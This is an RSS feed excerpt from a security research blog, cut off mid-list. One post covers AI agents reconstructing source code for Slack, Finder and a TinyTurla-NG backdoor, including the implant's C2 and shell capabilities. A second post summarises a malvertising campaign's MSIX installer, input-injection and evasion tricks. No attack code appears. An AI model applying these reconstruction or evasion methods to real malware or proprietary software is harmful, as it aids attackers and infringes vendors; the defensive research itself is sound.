<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Intezer Research – Windows</title><link>https://research.intezer.com/tags/windows/</link><description>Recent content in Windows on Intezer Research</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Tue, 10 Nov 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://research.intezer.com/tags/windows/index.xml" rel="self" type="application/rss+xml"/><item><title>When Everything Becomes Open-Source</title><link>https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/</link><pubDate>Tue, 10 Nov 2026 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/</guid><description>
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/images/cover.png" alt="When Everything Becomes Open-Source" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;This article is based on joint research with the Senior Security Researcher &lt;a href="https://www.kodemsecurity.com/resources/when-everything-becomes-open-source"target="_blank" rel="noopener"&gt;Eran Segal&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Reconstructing Apple, Slack, and even malware source code and adding the features you always wanted&lt;span class="hx:absolute hx:-mt-20" id="reconstructing-apple-slack-and-even-malware-source-code-and-adding-the-features-you-always-wanted"&gt;&lt;/span&gt;
&lt;a href="#reconstructing-apple-slack-and-even-malware-source-code-and-adding-the-features-you-always-wanted" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We live in a world where software applications surround us: browsers, text editors, phone apps, and more. So it is not surprising that companies like Microsoft and Google have billions in market share, and one of their big asset is their product: their software, their code. This makes the product&amp;rsquo;s source code its most valuable asset. These products must be shipped to customers as container images, executables, and APIs. These formats are lossy and cannot be converted back to maintainable source code. This raises the question: how easy is it to convert these assets, using the vendor’s documentation, back into source code we can maintain on GitHub?&lt;/p&gt;
&lt;p&gt;Reverse engineering is an old concept. It is the process of deconstructing a finished product, usually focusing on a specific area that takes humans a long time to analyze. With AI agents, we can do this very fast at a small scale (with an unlimited number of tokens, the sky is the limit).&lt;/p&gt;
&lt;p&gt;For real-world scale, we chose 3 examples that, to the best of our knowledge, AI was never trained on and never saw in its source code. Each app tests different use cases and challenges.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://support.apple.com/en-gb/guide/mac-help/mchlp2605/mac"target="_blank" rel="noopener"&gt;Finder&lt;/a&gt; - one of the most used utilities on a Mac computer. This application lets users view and search files on the computer. While the functionality is simple, the file itself is relatively big and complex.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://slack.com/"target="_blank" rel="noopener"&gt;Slack&lt;/a&gt; - a digital messaging app for businesses. Slack client is written in TypeScript, and it is Electron-based, unlike the Slack server, which is not downloadable. Therefore, it requires reconstruction based only on the limited data available.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://attack.mitre.org/software/S0668/"target="_blank" rel="noopener"&gt;TinyTurla&lt;/a&gt; Malware - a well-known second-stage backdoor attributed by &lt;a href="https://blog.talosintelligence.com/tinyturla/"target="_blank" rel="noopener"&gt;Cisco Talos&lt;/a&gt; to the Turla group. This case tests our ability to reconstruct malicious code and bypass LLM resistance. Source code is easier to inspect than assembly. That is the entire premise. If security teams could produce a faithful reconstruction of a malware sample&amp;rsquo;s source from the compiled file alone, they could read a threat rather than decode it, and they would get there faster.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Our research shows that an AI agent can reconstruct a working copy of an application when given the original software&amp;rsquo;s binary or package. The dataset included different types of applications; the process wasn&amp;rsquo;t smooth, but the results show it is possible. In a world where new and improved agents are released every month, each more capable than the last, it is only a matter of time before these agents can rebuild more complex applications.&lt;/p&gt;
&lt;div class="hx:overflow-x-auto hx:mt-6 hx:flex hx:flex-col hx:rounded-lg hx:border hx:py-4 hx:px-4 hx:border-gray-200 hx:contrast-more:border-current hx:contrast-more:dark:border-current hx:border-amber-200 hx:bg-amber-100 hx:text-amber-900 hx:dark:border-amber-200/30 hx:dark:bg-amber-900/30 hx:dark:text-amber-200"&gt;
&lt;p class="hx:flex hx:items-center hx:font-medium"&gt;&lt;svg height=16px class="hx:inline-block hx:align-middle hx:mr-2" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor" aria-hidden="true"&gt;&lt;path stroke-linecap="round" stroke-linejoin="round" d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"/&gt;&lt;/svg&gt;Disclaimer&lt;/p&gt;
&lt;div class="hx:w-full hx:min-w-0 hx:leading-7"&gt;
&lt;div class="hx:mt-6 hx:leading-7 hx:first:mt-0"&gt;&lt;p&gt;This research was conducted &lt;strong&gt;solely for security research and educational purposes&lt;/strong&gt;, in an isolated lab environment. We do not share, distribute or commercially use any reconstructed source code, binaries or other materials. The malware sample was analyzed statically and was never executed. Nothing in this post is intended to encourage reconstructing, modifying or redistributing third-party software in breach of its license terms or applicable law. Apple, Finder, macOS and Slack are trademarks of their respective owners; Intezer and Kodem Security are not affiliated with, sponsored or endorsed by them.&lt;/p&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Technical Details&lt;span class="hx:absolute hx:-mt-20" id="technical-details"&gt;&lt;/span&gt;
&lt;a href="#technical-details" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;The definition of successful reconstruction:&lt;span class="hx:absolute hx:-mt-20" id="the-definition-of-successful-reconstruction"&gt;&lt;/span&gt;
&lt;a href="#the-definition-of-successful-reconstruction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;The code is fully &lt;strong&gt;maintainable and readable&lt;/strong&gt;, so we can add new features to the app, fix bugs, and we have the infrastructure to execute everything.&lt;/li&gt;
&lt;li&gt;The code is clean and idiomatic, comparable in readability to human-written source code&lt;/li&gt;
&lt;li&gt;The real app and our reconstructed app behave exactly the same. Unlike &lt;a href="https://medium.com/@YousfiAymane/one-developer-rebuilt-adobes-entire-suite-for-free-using-ai-here-s-what-actually-happened-cc552f71d36e"target="_blank" rel="noopener"&gt;Adobe reconstruction&lt;/a&gt;, which behaves similarly&lt;/li&gt;
&lt;li&gt;We compiled the reconstructed app only from our source.&lt;/li&gt;
&lt;li&gt;Package dependencies are detected and treated accordingly. No 3rd-party libraries in our source code.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They used to say that if you could read assembly language, any software was open source. But with the new AI models, you might not even need to know assembly. Well, to some extent. For now.&lt;/p&gt;
&lt;h2&gt;Case 1: Slack - difficulty level: medium&lt;span class="hx:absolute hx:-mt-20" id="case-1-slack---difficulty-level-medium"&gt;&lt;/span&gt;
&lt;a href="#case-1-slack---difficulty-level-medium" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Slack is a very famous instant messaging app owned by Salesforce, which acquired Slack in 2021 for $27.7 billion. Our goal is to prove that we’re able to rebuild the entire Slack app, including the client and the server, so we end up with a fully working Slack environment that we can run and extend in our lab. Slack server is not publicly available therefore, we do not have any source code for it, unlike the Slack client, therefore the reconstruction of these 2 parts is totally different.&lt;br&gt;
We’ll go over the steps required to reproduce the app. It is worth mentioning that in our lab the reconstruction of the server and the client with the tests was developed in parallel and not sequentially as mentioned here.&lt;/p&gt;
&lt;h3&gt;Reconstruction of Slack client&lt;span class="hx:absolute hx:-mt-20" id="reconstruction-of-slack-client"&gt;&lt;/span&gt;
&lt;a href="#reconstruction-of-slack-client" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Slack app is written in TypeScript over the Electron framework and uses the React frameworks, both technologies are highly common frameworks used widely throughout the world. The Slack client contains over 500,000 functions, most are 3rd-party libraries and some of them were provided by the Slack server. Therefore, we could offload most of the initial inspection to these tools. Initially, we extracted the app using the &lt;a href="https://github.com/electron/asar"target="_blank" rel="noopener"&gt;Asar&lt;/a&gt; tool, and we gained a directory of minimized JavaScript files and related artifacts. That code is still written in one long line, and it is impossible to read anything from it, even for an LLM. Using &lt;a href="https://github.com/j4k0xb/webcrack"target="_blank" rel="noopener"&gt;webcrack&lt;/a&gt; to unminimize the code and make it much more readable, we fixed the alignment so it will look as shown below.&lt;br&gt;
&lt;img src="https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/images/fig1.png" alt="" loading="lazy" /&gt;&lt;br&gt;
The pattern of a function with a name containing only digits with 3 parameters is repeated throughout the entire fileset. The content of each function is a different module, so by splitting the huge files according to that pattern, we can separate the huge JavaScript files into the real files similar to the way they are defined in Slack source to keep the architecture.&lt;/p&gt;
&lt;p&gt;At this stage, most of the code is not Slack code at all, it is a 3rd-party library Slack is using. Therefore, we let Claude do a deep dive into the minimized code and find all the 3rd-party libraries, some are easy to find because they were originally found in &lt;em&gt;node_modules&lt;/em&gt; dir, but some were hidden inside the source code itself. For that, we wrote a script to find indications of npm modules inside other files, and Claude also looked manually for additional insights.&lt;/p&gt;
&lt;p&gt;This phase was ready for heavy AI lifting, converting each JS file to source code like.&lt;br&gt;
&lt;img src="https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/images/fig2.png" alt="" loading="lazy" /&gt;&lt;br&gt;
From this point, we have the code, but it is not executable, so all we need to do is download all 3rd-party libraries and to make this code work exactly the same way Slack is working.&lt;br&gt;
It is worth mentioning that lots of the code the Slack client uses is pulled in at runtime from the Slack server, this will be covered in the reconstruction of the Slack server.&lt;/p&gt;
&lt;h3&gt;Reconstruction of Slack Server&lt;span class="hx:absolute hx:-mt-20" id="reconstruction-of-slack-server"&gt;&lt;/span&gt;
&lt;a href="#reconstruction-of-slack-server" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Unlike the Slack client, for reconstruction of the server, we do not have the binary/JS of the server.&lt;br&gt;
This means that implementing a server that will behave exactly the same as the original Slack server is very hard or even impossible, but building a Slack compatible server is very possible.&lt;/p&gt;
&lt;p&gt;By inspecting the Slack client code and detecting all the APIs statically, along with the ability to do network inspection on a real Slack application and the Slack documentation such as &lt;a href="https://docs.slack.dev/reference/methods/"target="_blank" rel="noopener"&gt;Slack references&lt;/a&gt;, we have clear definitions for the APIs required to be implemented.&lt;/p&gt;
&lt;p&gt;The APIs can be split into 2 parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Static URLs&lt;/li&gt;
&lt;li&gt;Restful API/websockets&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Static URLs were downloaded from Slack servers, and the resources that required rewriting were done in a similar way as described in the reconstruction of the Slack client.&lt;/p&gt;
&lt;p&gt;In order to implement RESTful APIs were implemented based on the Slack client and matching its behavior to the expected behavior, by inspecting warning logs, errors and additional signals on the client.&lt;br&gt;
Our Slack server is using an SQLite DB and a relatively simple schema, the minimum possible to provide a proof of concept.&lt;/p&gt;
&lt;h3&gt;Building end-to-end tests&lt;span class="hx:absolute hx:-mt-20" id="building-end-to-end-tests"&gt;&lt;/span&gt;
&lt;a href="#building-end-to-end-tests" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;To execute multiple instances of Slack on the same computer and to being able to communicate with a server found in a different URLs other than Slack original real servers, there were a few patches required to be done in the client, first where to store the files, execute Slack with flags to use different URLs, after these patches we were able to connect the client to the server.&lt;/p&gt;
&lt;p&gt;In order to do automation end to end, we need to be able to control the Slack client. In order to do so, we used &lt;a href="https://chromedevtools.github.io/devtools-protocol/"target="_blank" rel="noopener"&gt;Chrome devTools protocol(CDP)&lt;/a&gt;. Using this interface, code was able to locate buttons on the interface and click them/inject text, and do all kinds of operations on the Slack client and validate this behavior.&lt;/p&gt;
&lt;p&gt;A mock server was used to capture all the traffic between the client and the server to be able to detect if the traffic has changed.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;Adding feature - Adding AI auto-complete for Slack&lt;span class="hx:absolute hx:-mt-20" id="adding-feature---adding-ai-auto-complete-for-slack"&gt;&lt;/span&gt;
&lt;a href="#adding-feature---adding-ai-auto-complete-for-slack" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The goal of the feature is to provide a proof of concept that the infrastructure we developed in the previous steps is good enough for us to be able to develop a full feature Slack doesn’t have (yet)&lt;br&gt;
In this feature, we’ll add auto-complete text, similar to the auto-complete IDEs have with AI.&lt;br&gt;
In one short session of Claude, Claude managed to add this feature, which includes connecting Slack server to an LLM server (qwen2.5:3b for ultra-fast results), and exposing an API for auto-completing text, and changes in the Slack client - to change the behavior of the text in the text box, key binding, new API to handle.&lt;/p&gt;
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;"&gt;
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/DPTmFycLIsg?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Video: Claude adding AI auto-complete to the reconstructed Slack client and server.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Slack Summary&lt;span class="hx:absolute hx:-mt-20" id="slack-summary"&gt;&lt;/span&gt;
&lt;a href="#slack-summary" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;We were able to reproduce the entire Slack app very simply because it was written in high-level language which contains lots of references and names that existed in the source code, and the transformation between the Slack app to source was relatively trivial. Implementing the server, on the other hand, was more complex because the details of the implementation weren’t shared with us. But building new features such as the auto-complete was simple, as if it were source code.&lt;/p&gt;
&lt;h2&gt;Case 2: Finder - difficulty level: Low-Medium&lt;span class="hx:absolute hx:-mt-20" id="case-2-finder---difficulty-level-low-medium"&gt;&lt;/span&gt;
&lt;a href="#case-2-finder---difficulty-level-low-medium" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In this case, we tried to reconstruct the &lt;a href="https://en.wikipedia.org/wiki/Finder_%5c%28software%5c%29"target="_blank" rel="noopener"&gt;Finder&lt;/a&gt; app. The bundle includes a 25.8 MB executable for Intel and Apple Silicon, along with interface files, images, localized text, and metadata.&lt;/p&gt;
&lt;h3&gt;How the reforging process works&lt;span class="hx:absolute hx:-mt-20" id="how-the-reforging-process-works"&gt;&lt;/span&gt;
&lt;a href="#how-the-reforging-process-works" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The reconstruction harness used the code and files from the provided Finder app and processed one feature at a time. For example, when working on the feature of adding a file, first the harness inspects the supplied interface files and executable to identify visible controls and the code paths they call. Then the harness implements the action, tests it, and records anything the available evidence cannot settle.&lt;/p&gt;
&lt;p&gt;In some cases, the provided files can’t reveal how Finder implements a task because it relies on other macOS applications and services, such as cloud-shred files. In those cases, the harness builds a working version using public macOS APIs, tests it, and documents how the behavior might differ.&lt;/p&gt;
&lt;p&gt;A separate testing flow creates temporary folders, files, and drivers to test the code of the reconstructed application. The tests cover different Finder features and actions the user can perform.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Browsing files: opening folders, navigation, selections, sorting on different values, choosing views (such as Gallery view), etc.&lt;/li&gt;
&lt;li&gt;Working with files: actions such as copy, move, rename, duplicate, tags, and undo. The tests also cover missing files, conflicting names, and other failure cases.&lt;/li&gt;
&lt;li&gt;Search feature: search criteria and results, saved Reforge searches, Get Info, previews, and preference controls.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Current state and remaining differences&lt;span class="hx:absolute hx:-mt-20" id="current-state-and-remaining-differences"&gt;&lt;/span&gt;
&lt;a href="#current-state-and-remaining-differences" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The Finder binary contains tens of thousands of function views across two architectures, with dynamic Objective-C calls and extensive framework and private-service dependencies. That makes it hard to map every original function to a rebuilt counterpart or use a whole-binary similarity score to measure progress. Instead, we use static analysis in the harness to establish specific facts about the original, build user-facing workflows with public macOS APIs, test those workflows, and record where the original behavior remains unknown.&lt;/p&gt;
&lt;p&gt;The reconstructed app supports many everyday local-file workflows, including browsing, windows and tabs, common file actions, local search, Get Info, tags, Quick Look, and preferences. The reconstruction uses public macOS APIs for features that couldn&amp;rsquo;t be implemented solely from the provided files. As a result, its internal size and structure are expected to differ from Apple’s Finder. The remaining gap comes from features that involve files managed by cloud services, such as online-only files and sync status, or actions whose results depend on other macOS services.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/images/fig4.png" title="Figure 4: The original Finder application." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: The original Finder application.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/images/fig5.png" title="Figure 5: The reforged Finder application." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: The reforged Finder application.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Case 3: TinyTurla - difficulty level: hard&lt;span class="hx:absolute hx:-mt-20" id="case-3-tinyturla---difficulty-level-hard"&gt;&lt;/span&gt;
&lt;a href="#case-3-tinyturla---difficulty-level-hard" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Malware makes this difficult. Even small samples are typically stripped C or C++ binaries with no symbols, comments, or file boundaries. Reconstruction must recover the whole program: its functions, data structures, control flow, and behavior. Success means a source tree that compiles and matches the original binary. That is already expensive in time and tokens before obfuscation or packing enters the picture.&lt;/p&gt;
&lt;p&gt;We wanted to know whether a strict workflow could clear that bar, and whether the result could be defended with evidence rather than asserted with confidence.&lt;/p&gt;
&lt;h3&gt;The Target: A TinyTurla-NG DLL&lt;span class="hx:absolute hx:-mt-20" id="the-target-a-tinyturla-ng-dll"&gt;&lt;/span&gt;
&lt;a href="#the-target-a-tinyturla-ng-dll" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The input is a TinyTurla-NG x64 Windows DLL of 291,840 bytes, built with MSVC linker 14.29 and carrying a compile timestamp of December 22nd, 2023. Binary Ninja resolves 1,041 functions in it. The sample is unpacked and unobfuscated.&lt;/p&gt;
&lt;p&gt;The goal was never to recover the author’s exact source text. Comments, formatting, and most variable names are gone the moment a binary is compiled. The deliverable is something different: a new, evidence-backed implementation that behaves like the binary and can be shown to do so.&lt;/p&gt;
&lt;h3&gt;The Rules&lt;span class="hx:absolute hx:-mt-20" id="the-rules"&gt;&lt;/span&gt;
&lt;a href="#the-rules" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;First, the binary is the source of truth. A language model may propose an interpretation, but it cannot certify one. Every conclusion is tied to static evidence. Second, nothing is ever executed. Neither the original nor the rebuilt binary is ever run.&lt;/p&gt;
&lt;p&gt;The reconstruction evaluates two separate goals, and it keeps them separate on purpose:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Behavioral equivalence: matching control flow, calls, data effects, cleanup, error paths, and ABI behavior.&lt;/li&gt;
&lt;li&gt;Structural similarity: matching functions, control-flow graph, call relationships, and machine-code shape, measured with BinExport and BinDiff.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;The Setup&lt;span class="hx:absolute hx:-mt-20" id="the-setup"&gt;&lt;/span&gt;
&lt;a href="#the-setup" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In this reconstruction harness, no single model does every step. It is a deterministic Python control plane wrapped around static-analysis tools, a compiler, and several bounded language-model roles. The models are components inside the system, not the system itself.&lt;/p&gt;
&lt;p&gt;Binary Ninja performs static analysis of the original binary locally and produces the gold-standard database (the &lt;code&gt;.bndb&lt;/code&gt; file). It supplies the authoritative disassembly, IL, and decompiler output that every downstream step consumes. Binary Ninja output is the static ground truth for the whole project. Once the harness has a reconstructed function, it compares that function&amp;rsquo;s High Level Intermediate Language (&lt;a href="https://docs.binary.ninja/dev/bnil-hlil.html"target="_blank" rel="noopener"&gt;HLIL&lt;/a&gt;) against the corresponding function in the original file using the same tool.&lt;/p&gt;
&lt;p&gt;A Windows VM compiles the reconstructed C++. The machine where Codex runs connects to the Windows VM via SSH. &lt;a href="https://openai.com/codex/"target="_blank" rel="noopener"&gt;Codex&lt;/a&gt; extracted the compiler version from the binary and installed the closest compilation toolchain on the Windows VM. It is not a perfect match, and the reason becomes important later: the original binary appears to include objects produced by an unavailable pre-release compiler around build 27412.&lt;/p&gt;
&lt;p&gt;Codex, configured to use GPT-5.6-sol-high, operates the workflow: it inspects artifacts, makes engineering decisions, integrates code, investigates failed gates and build errors, and invokes the tools. Inside the harness, Kimi K3 hosted on Fireworks fills three isolated roles.&lt;/p&gt;
&lt;p&gt;Two operational guardrails are worth naming. It sends only selected static evidence to Kimi K3. Binaries and credentials are never uploaded, and during equivalence review, the reconstructed source passes through a dedicated redaction path that strips string-literal contents before transmission. Separately, every request is recorded in a budget ledger that must preserve a mandatory five-dollar reserve under the authorized spending ceiling, so the workflow cannot burn resources without accountability.&lt;/p&gt;
&lt;h3&gt;What Was Reconstructed&lt;span class="hx:absolute hx:-mt-20" id="what-was-reconstructed"&gt;&lt;/span&gt;
&lt;a href="#what-was-reconstructed" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The project produced a complete, compiling C++ implementation of the TinyTurla-NG DLL from static analysis alone.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Measure&lt;/th&gt;
&lt;th style="text-align: left"&gt;Original&lt;/th&gt;
&lt;th style="text-align: left"&gt;Reconstruction&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;File size&lt;/td&gt;
&lt;td style="text-align: left"&gt;291,840 bytes&lt;/td&gt;
&lt;td style="text-align: left"&gt;296,960 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Functions&lt;/td&gt;
&lt;td style="text-align: left"&gt;1,041&lt;/td&gt;
&lt;td style="text-align: left"&gt;1,072&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Imported symbols&lt;/td&gt;
&lt;td style="text-align: left"&gt;Identical&lt;/td&gt;
&lt;td style="text-align: left"&gt;Identical&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;BinDiff pairs 1,034 of the original functions and reports 92.8% whole-program similarity at 98.7% confidence. That is a statement about shape, not about behavior. The behavioral case compares the original and rebuilt functions one at a time, at the right addresses.&lt;/p&gt;
&lt;p&gt;The reconstructed code fits in two source files, about 3,100 lines in total. Together they cover the implant’s full working pipeline: registering with its C2 servers, receiving and executing commands, running shell commands, transferring files, and removing itself. One deliberate omission: we did not hand-write the Microsoft C++ runtime. Where the evidence showed a function came from the compiler’s libraries, the rebuild simply links them. Writing plausible-looking source for that code would have inflated the numbers while making the result less honest.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/images/fig6.png" title="Figure 6: A side-by-side (partial) comparison of the same function. On the left is the reconstructed source code, and on the right is the decompilation of the original file in Binary Ninja." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: A side-by-side (partial) comparison of the same function. On the left is the reconstructed source code, and on the right is the decompilation of the original file in Binary Ninja.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;How to protect your software?&lt;span class="hx:absolute hx:-mt-20" id="how-to-protect-your-software"&gt;&lt;/span&gt;
&lt;a href="#how-to-protect-your-software" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;This research shows that AI agents can reconstruct real-world applications and gain the application source code. It also shows that obstacles remain, and the workflow is not smooth or perfect. Yet. Another thing to consider is that while someone can vibe-code applications like Slack, it will be much harder to build the infrastructure needed to run them.&lt;/p&gt;
&lt;p&gt;We learned that clear objectives make the process harder for an AI to solve. When there is no clear guidance on how things in the application work, documentation is lacking, metadata is not useful or clear, and the code is low-level, all of these add a lot of complexity. Would more tokens, more capable models, and better harnesses fix this? Maybe! But in the meantime, if software providers use encryptors and obfuscators- tools used for years to prevent people from hacking applications (such as anti-cheating software for computer games)- these will make the process much harder for AI agents and raise the bar.&lt;/p&gt;
&lt;p&gt;What would be the impact of converting every software to an open-source application? How would it affect the global economy? AI is clearly changing our industry and our world. While it&amp;rsquo;s still unclear how it will affect our jobs and lives in the future, this research shows that AI will significantly affect a new aspect. The software industry will have to adjust.&lt;/p&gt;</description></item><item><title>Rubber Ducky in the Sky</title><link>https://research.intezer.com/blog/2026/09/rubber-ducky-in-the-sky/</link><pubDate>Tue, 01 Sep 2026 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2026/09/rubber-ducky-in-the-sky/</guid><description>
&lt;details class="hx:last-of-type:mb-0 hx:rounded-lg hx:bg-neutral-50 hx:dark:bg-neutral-800 hx:p-2 hx:mt-4 hx:group" &gt;
&lt;summary class="hx:flex hx:items-center hx:cursor-pointer hx:select-none hx:list-none hx:p-1 hx:rounded-sm hx:transition-colors hx:hover:bg-gray-100 hx:dark:hover:bg-neutral-800 hx:before:mr-1 hx:before:inline-block hx:before:transition-transform hx:before:content-[''] hx:dark:before:invert hx:rtl:before:rotate-180 hx:group-open:before:rotate-90"&gt;
&lt;strong class="hx:text-lg"&gt;AI Generated Summary&lt;/strong&gt;
&lt;/summary&gt;
&lt;div class="hx:p-2 hx:overflow-hidden"&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Initial discovery&lt;/strong&gt;: A file in an employee&amp;rsquo;s downloads folder was too large
for the endpoint tooling to inspect. Nothing flagged it as bad; it simply
went unexamined.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;How it arrived&lt;/strong&gt;: The employee bought a new mouse, followed the setup URL
printed on the box, and mistyped a single letter. &lt;code&gt;.con&lt;/code&gt; isn&amp;rsquo;t a valid TLD,
so the browser ran a Google search instead. The top hit was a paid ad on a
lookalike domain, which passed through a traffic broker to a landing page for
a &amp;ldquo;privacy browser&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delivery&lt;/strong&gt;: The landing page uses a Google reCAPTCHA gate, then serves an
MSIX single-click installer. VirusTotal detection sits between zero and two
depending on the day.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The application&lt;/strong&gt;: A functional web browser with no privacy-focused
improvements found during analysis. It splits into a GUI and an engine — the
engine being NW.js with custom extensions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GUI is never on disk&lt;/strong&gt;: The interface is always fetched from a remote
server rather than bundled locally, so the malicious instructions never touch
the victim&amp;rsquo;s filesystem and can be changed without updating the installed
application.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remote execution&lt;/strong&gt;: The NW.js engine carries a hidden synthetic input
injection capability. It can launch an application and inject mouse and
keyboard input into it — effectively a USB Rubber Ducky operated over the
internet.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Evasion&lt;/strong&gt;: Waits at least seven minutes of machine idle time before acting,
moves the browser window off-screen during injection, then restores it to its
previous state.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Geolocation gating&lt;/strong&gt;: Countries fall into Tier 1 (US, CA, GB, DE, FR, IT,
ES, SE, NL, AU — search hijack plus extensions), blocked (nothing happens,
likely to avoid local law enforcement attention), or other (extensions only).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observed vs. possible&lt;/strong&gt;: Only search engine hijacking and browser extension
installs have been seen. The injection engine is generic enough to drive any
application, including spawning PowerShell to download and execute further
payloads.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Why MSIX&lt;/strong&gt;: Clean install experience through Microsoft&amp;rsquo;s App Installer,
publisher branding, and — for Store-distributed packages — a signature from
Microsoft&amp;rsquo;s own infrastructure. Packages contain hundreds to thousands of
files, giving plenty of room to blend in.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The operators&amp;rsquo; mistake&lt;/strong&gt;: MSIX packages built with the MSIX Packaging Tool
capture the build environment. The documentation calls for a clean machine;
they didn&amp;rsquo;t use one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What leaked&lt;/strong&gt;: Registry hives in the package exposed the build machine —
the user account name, Start menu cache, and UserAssist entries. Development
tooling (nvm/Node, VS Code, TortoiseGit, Paint.NET, MSIX Packaging Tool) sat
